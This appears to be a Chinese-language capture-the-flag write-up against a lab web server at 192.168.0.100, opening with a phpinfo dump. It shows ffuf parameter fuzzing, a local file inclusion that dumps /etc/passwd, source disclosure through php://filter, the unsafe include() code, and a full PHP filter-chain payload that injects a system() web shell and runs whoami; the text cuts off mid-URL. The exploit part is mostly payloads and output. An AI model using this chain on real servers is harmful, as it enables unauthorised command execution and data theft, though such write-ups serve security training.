$_SERVER['HTTP_USER_AGENT']  Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
453
$_SERVER['HTTP_ACCEPT']  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
454
$_SERVER['HTTP_ACCEPT_LANGUAGE']  zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
455
$_SERVER['HTTP_ACCEPT_ENCODING']  gzip, deflate
456
$_SERVER['HTTP_CONNECTION']  keep-alive
457
$_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']  1
458
$_SERVER['HTTP_PRIORITY']  u=0, i
459
$_SERVER['PATH']  /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
460
$_SERVER['SERVER_SIGNATURE']  <address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.100 Port 80</address>
461
$_SERVER['SERVER_SOFTWARE']  Apache/2.4.41 (Ubuntu)
462
$_SERVER['SERVER_NAME']  192.168.0.100
463
$_SERVER['SERVER_ADDR']  192.168.0.100
464
$_SERVER['SERVER_PORT']  80
465
$_SERVER['REMOTE_ADDR']  192.168.0.106
466
$_SERVER['DOCUMENT_ROOT']  /var/www/html
467
$_SERVER['REQUEST_SCHEME']  http
468
$_SERVER['CONTEXT_PREFIX']  no value
469
$_SERVER['CONTEXT_DOCUMENT_ROOT']  /var/www/html
470
$_SERVER['SERVER_ADMIN']  webmaster@localhost
471
$_SERVER['SCRIPT_FILENAME']  /var/www/html/phpsysinfo.php
472
$_SERVER['REMOTE_PORT']  52058
473
$_SERVER['GATEWAY_INTERFACE']  CGI/1.1
474
$_SERVER['SERVER_PROTOCOL']  HTTP/1.1
475
$_SERVER['REQUEST_METHOD']  GET
476
$_SERVER['QUERY_STRING']  no value
477
$_SERVER['REQUEST_URI']  /phpsysinfo.php
478
$_SERVER['SCRIPT_NAME']  /phpsysinfo.php
479
$_SERVER['PHP_SELF']  /phpsysinfo.php
480
$_SERVER['REQUEST_TIME_FLOAT']  1768288822.58
481
$_SERVER['REQUEST_TIME']  1768288822
482
PHP Credits
483
PHP Group
484
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
485
Language Design & Concept
486
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
487
PHP Authors
488
Contribution  Authors
489
Zend Scripting Language Engine   Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
490
Extension Module API   Andi Gutmans, Zeev Suraski, Andrei Zmievski
491
UNIX Build and Modularization   Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
492
Windows Support   Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
493
Server API (SAPI) Abstraction Layer   Andi Gutmans, Shane Caraveo, Zeev Suraski
494
Streams Abstraction Layer   Wez Furlong, Sara Golemon
495
PHP Data Objects Layer   Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
496
Output Handler   Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
497
Consistent 64 bit support   Anthony Ferrara, Anatol Belski
498
SAPI Modules
499
Contribution  Authors
500
Apache 2.0 Handler   Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
501
CGI / FastCGI   Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
502
CLI   Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
503
Embed   Edin Kadribasic
504
FastCGI Process Manager   Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
505
litespeed   George Wang
506
phpdbg   Felipe Pena, Joe Watkins, Bob Weinand
507
Module Authors
508
Module  Authors
509
BC Math   Andi Gutmans
510
Bzip2   Sterling Hughes
511
Calendar   Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
512
COM and .Net   Wez Furlong
513
ctype   Hartmut Holzgraefe
514
cURL   Sterling Hughes
515
Date/Time Support   Derick Rethans
516
DB-LIB (MS SQL, Sybase)   Wez Furlong, Frank M. Kromann, Adam Baratz
517
DBA   Sascha Schumann, Marcus Boerger
518
DOM   Christian Stocker, Rob Richards, Marcus Boerger
519
enchant   Pierre-Alain Joye, Ilia Alshanetsky
520
EXIF   Rasmus Lerdorf, Marcus Boerger
521
FFI   Dmitry Stogov
522
fileinfo   Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
523
Firebird driver for PDO   Ard Biesheuvel
524
FTP   Stefan Esser, Andrew Skalski
525
GD imaging   Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
526
GetText   Alex Plotnick
527
GNU GMP support   Stanislav Malyshev
528
Iconv   Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
529
IMAP   Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
530
Input Filter   Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
531
Internationalization   Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
532
JSON   Jakub Zelenka, Omar Kilani, Scott MacVicar
533
LDAP   Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
534
LIBXML   Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
535
Multibyte String Functions   Tsukada Takuya, Rui Hirokawa
536
MySQL driver for PDO   George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
537
MySQLi   Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
538
MySQLnd   Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
539
OCI8   Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
540
ODBC driver for PDO   Wez Furlong
541
ODBC   Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
542
Opcache   Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
543
OpenSSL   Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
544
Oracle (OCI) driver for PDO   Wez Furlong
545
pcntl   Jason Greene, Arnaud Le Blanc
546
Perl Compatible Regexps   Andrei Zmievski
547
PHP Archive   Gregory Beaver, Marcus Boerger
548
PHP Data Objects   Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
549
PHP hash   Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
550
Posix   Kristian Koehntopp
551
PostgreSQL driver for PDO   Edin Kadribasic, Ilia Alshanetsky
552
PostgreSQL   Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
553
Pspell   Vlad Krupin
554
Readline   Thies C. Arntzen
555
Reflection   Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
556
Sessions   Sascha Schumann, Andrei Zmievski
557
Shared Memory Operations   Slava Poliakov, Ilia Alshanetsky
558
SimpleXML   Sterling Hughes, Marcus Boerger, Rob Richards
559
SNMP   Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
560
SOAP   Brad Lafountain, Shane Caraveo, Dmitry Stogov
561
Sockets   Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
562
Sodium   Frank Denis
563
SPL   Marcus Boerger, Etienne Kneuss
564
SQLite 3.x driver for PDO   Wez Furlong
565
SQLite3   Scott MacVicar, Ilia Alshanetsky, Brad Dewar
566
System V Message based IPC   Wez Furlong
567
System V Semaphores   Tom May
568
System V Shared Memory   Christian Cartus
569
tidy   John Coggeshall, Ilia Alshanetsky
570
tokenizer   Andrei Zmievski, Johannes Schlueter
571
XML   Stig Bakken, Thies C. Arntzen, Sterling Hughes
572
XMLReader   Rob Richards
573
xmlrpc   Dan Libby
574
XMLWriter   Rob Richards, Pierre-Alain Joye
575
XSL   Christian Stocker, Rob Richards
576
Zip   Pierre-Alain Joye, Remi Collet
577
Zlib   Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
578
PHP Documentation
579
Authors   Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
580
Editor   Peter Cowburn
581
User Note Maintainers   Daniel P. Brown, Thiago Henrique Pojda
582
Other Contributors   Previously active authors, editors and other contributors are listed in the manual.
583
PHP Quality Assurance Team
584
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
585
Websites and Infrastructure team
586
PHP Websites Team   Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
587
Event Maintainers   Damien Seguy, Daniel P. Brown
588
Network Infrastructure   Daniel P. Brown
589
Windows Infrastructure   Alex Schoenmaker
590
PHP License
591

592
This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
593

594
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
595

596
If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

/prices

列目录中存在filedownload.php

http://192.168.0.100/prices/filedownload.php↗

访问后发现是空白页

ffuf

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
2
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.0.100/prices/filedownload.php?FUZZ=../index.html -fs 0 -v
3

4

5
        /'___\  /'___\           /'___\
6
       /\ \__/ /\ \__/  __  __  /\ \__/
7
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
8
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
9
         \ \_\   \ \_\  \ \____/  \ \_\
10
          \/_/    \/_/   \/___/    \/_/
11

12
       v2.1.0-dev
13
________________________________________________
14

15
 :: Method           : GET
16
 :: URL              : http://192.168.0.100/prices/filedownload.php?FUZZ=../index.html
17
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
18
 :: Follow redirects : false
19
 :: Calibration      : false
20
 :: Timeout          : 10
21
 :: Threads          : 40
22
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
23
 :: Filter           : Response size: 0
24
________________________________________________
25

26
:: Progress: [40/6453] :: Job [1/1] :: 0 req/sec :: D:: Progress: [1085/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [2237/6453] :: Job [1/1] :: 0 req/sec ::[Status: 200, Size: 39494, Words: 19456, Lines: 768, Duration: 328ms]
27
| URL | http://192.168.0.100/prices/filedownload.php?AssignmentForm=../index.html
28
    * FUZZ: AssignmentForm
29

30
:: Progress: [3055/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [3418/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [4523/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [5696/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [6453/6453] :: Job [1/1] :: 0 req/sec :::: Progress: [6453/6453] :: Job [1/1] :: 39 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

| URL | http://192.168.0.100/prices/filedownload.php?AssignmentForm=../index.html↗

1
* FUZZ: AssignmentForm

1
root:x:0:0:root:/root:/bin/bash
2
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3
bin:x:2:2:bin:/bin:/usr/sbin/nologin
4
sys:x:3:3:sys:/dev:/usr/sbin/nologin
5
sync:x:4:65534:sync:/bin:/bin/sync
6
games:x:5:60:games:/usr/games:/usr/sbin/nologin
7
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
18
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
20
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
21
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
22
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
23
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
24
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
25
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
26
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
27
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
28
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
29
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
30
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
31
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
33
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
34
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
35
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
36
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
37
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
38
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
39
whoopsie:x:120:125::/nonexistent:/bin/false
40
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
41
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
42
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
43
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
44
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
45
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
46
kevin:x:1000:1000:kevin,,,:/home/kevin:/bin/bash
47
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
48
ftp:x:127:134:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
49
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
50
mysql:x:129:135:MySQL Server,,,:/nonexistent:/bin/false
51
jane:x:1001:1001:,,,:/home/jane:/bin/bash
52
donald:x:1004:1004::/home/donald:/bin/rbash
53
randy:x:1002:1002:,,,:/home/randy:/bin/bash

1
http://192.168.0.100/prices/filedownload.php?AssignmentForm=php://filter//convert.base64-encode/resource=filedownload.php

尝试读取源代码

1
PD9waHAKICAgJGZpbGUgPSAkX0dFVFsnQXNzaWdubWVudEZvcm0nXTsKICAgaWYoaXNzZXQoJGZpbGUpKQogICB7CiAgICAgICBpbmNsdWRlKCIkZmlsZSIpOwogICB9CiAgIGVsc2UKICAgewogICAgICAgaW5jbHVkZSgiaW5kZXgucGhwIik7CiAgIH0KICAgPz4K

1
<?php
2
   $file = $_GET['AssignmentForm'];
3
   if(isset($file))
4
   {
5
       include("$file");
6
   }
7
   else
8
   {
9
       include("index.php");
10
   }
11
   ?>

方法一：php伪协议链反弹shell

1
┌──(web)─(root㉿kali)-[/home/kali/Desktop/tools/php_filter_chain_generator-main]
2
└─# python php_filter_chain_generator.py --chain "<?php system(\$_GET['0']);?>"
3
[+] The following gadget chain will generate the following code : <?php system($_GET['0']);?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWycwJ10pOz8+)
4
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

1
http://192.168.0.100/prices/filedownload.php?AssignmentForm=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=whoami

1
http://192.168.0.100/prices/filedownload.php?AssignmentForm=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.i